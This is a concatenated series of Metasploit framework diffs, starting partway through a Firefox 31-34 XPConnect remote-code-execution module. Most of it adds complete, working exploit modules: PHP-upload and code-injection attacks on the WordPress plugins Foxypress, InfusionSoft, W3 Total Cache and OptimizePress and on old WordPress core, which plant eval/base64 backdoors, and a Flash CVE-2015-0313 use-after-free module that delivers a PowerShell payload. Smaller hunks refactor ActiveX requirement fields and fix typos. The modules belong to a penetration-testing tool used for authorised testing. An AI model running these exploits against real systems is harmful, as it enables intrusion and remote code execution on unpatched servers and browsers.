This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end

View File

@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
in an Perl eval statement which allows remote code execution.
},
'Author' =>
[

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
def initialize(info = {})
super(update_info(

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
def initialize(info = {})
super(update_info(info,

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
def initialize(info = {})
super(update_info(info,

View File

@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
def initialize(info = {})
super(update_info(info,

View File

@ -6,6 +6,9 @@
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
Rank = ExcellentRanking

View File

@ -0,0 +1,85 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q(
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
),
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '18991'],
['OSVDB' '82652'],
['BID', '53805'],
['WPVDB', '6231']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
)
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def exploit
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending PHP payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
filename = "#{Regexp.last_match[1]}.php"
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
register_files_for_cleanup(filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
)
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery
'us3r777 <us3r777@n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-6446'],
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
['WPVDB', '7634']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', 'code_generator.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
print_status("#{peer} - Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
}, 2)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software. This vulnerability is only present when the PHP 'register_globals'
option is enabled (common for hosting providers). All versions of WordPress prior to
1.5.1.3 are affected.
},
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-2612'],
['OSVDB', '18672'],
['BID', '14533'],
['WPVDB', '6034']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find'
},
'Space' => 512
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 9 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def exploit
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
data =
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
# Trigger the command execution bug
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'cookie' => data
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end
end

View File

@ -0,0 +1,147 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
an attacker to upload arbitrary PHP code. This module has been tested successfully on
OptimizePress 1.45.
},
'Author' =>
[
'United of Muslim Cyber Army', # Vulnerability discovery
'Mekanismen' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
[ 'WPVDB', '7441' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['OptimizePress', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 29 2013'
))
register_advanced_options(
[
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path)
#get upload filepath
print_status("#{peer} - Getting the upload path...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
file_path = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end
#set cookie
cookie = res.get_cookies
filename = rand_text_alphanumeric(8) + ".php"
#upload payload
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
print_status("#{peer} - Uploading PHP payload...")
n_data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'headers' => {
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
},
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
end
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
#get path to payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
payload_url = ""
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
payload_url =$1
else
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
end
begin
u = URI(payload_url)
rescue ::URI::InvalidURIError
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
end
register_files_for_cleanup(File::basename(u.path))
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => u.path
})
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against WordPress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on WordPress must be unchecked for
successful exploitation. This module has been tested against WordPress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2010' ],
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
[ 'WPVDB', '6622' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))
register_options(
[
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
register_advanced_options(
[
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
])
end
def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']
if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end
def post_comment(text)
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else
author = rand_text_alpha(8)
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
author_url = rand_text_alpha(8)
uri = wordpress_post_comment_no_auth(php_payload,
@post_id,
author,
author_email,
author_url
)
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
end
uri
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end
@auth = require_auth?
if @auth
print_status("#{peer} - Trying to login...")
@cookie = wordpress_login(@user, @password)
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_status("#{peer} - login successful")
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end
if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end
end
random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)
print_status("#{peer} - Injecting the PHP Code in a comment...")
text = Rex::Text::rand_text_alpha(10)
post_uri = post_comment(text)
if post_uri.nil?
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
end
print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => @cookie}) if @auth
# Used to see anonymous, moderated comments
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
if res and !res.body.match(/#{Regexp.escape(text)}/)
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
end
end
def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown
end
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)

View File

@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ }

View File

@ -51,8 +51,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }

View File

@ -46,8 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{#{CLASSID}}",
:method => "LoadMovie",
:activex => [
{
clsid: "{#{CLASSID}}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well

View File

@ -55,8 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, who can fill the memory and notify the main
thread to corrupt the new contents. This module has been tested successfully on
Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89 (all the magic)
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0313'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 02 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -43,8 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => /MSIE/i,
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
:method => "GetColor"
:activex => [
{
clsid: "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
method: "GetColor"
}
]
},
'Payload' =>
{

View File

@ -45,8 +45,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
:activex => [
{
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
method: "ChooseFilePath"
}
],
:os_name => OperatingSystems::Match::WINDOWS,
},
'Targets' =>

View File

@ -73,8 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}",
:method => "requiredClaims",
:activex => [
{
clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}',
method: 'requiredClaims'
}
],
:os_name => OperatingSystems::Match::WINDOWS_XP
},
'Targets' =>

View File

@ -277,10 +277,7 @@ end function
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
payload_src = (datastore['SSL'] ? 'https' : 'http')
payload_src << '://'
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
payload_src = "#{gif_name}"
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a
user would have to log for the payloda to execute.
user would have to log for the payload to execute.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],

View File

@ -44,7 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
:activex => [
{
clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}',
method: 'SetText'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0'

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
'Description' => %q{
This module explots the Racer Car and Racing Simulator game
This module exploits the Racer Car and Racing Simulator game
versions v0.5.3 beta 5 and earlier. Both the client and server listen
on UDP port 26000. By sending an overly long buffer we are able to
execute arbitrary code remotely.

View File

@ -46,11 +46,17 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows XP SP0-SP1 English', { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
['Windows XP SP2 English', { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
['Windows 2003 SP0 English', { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
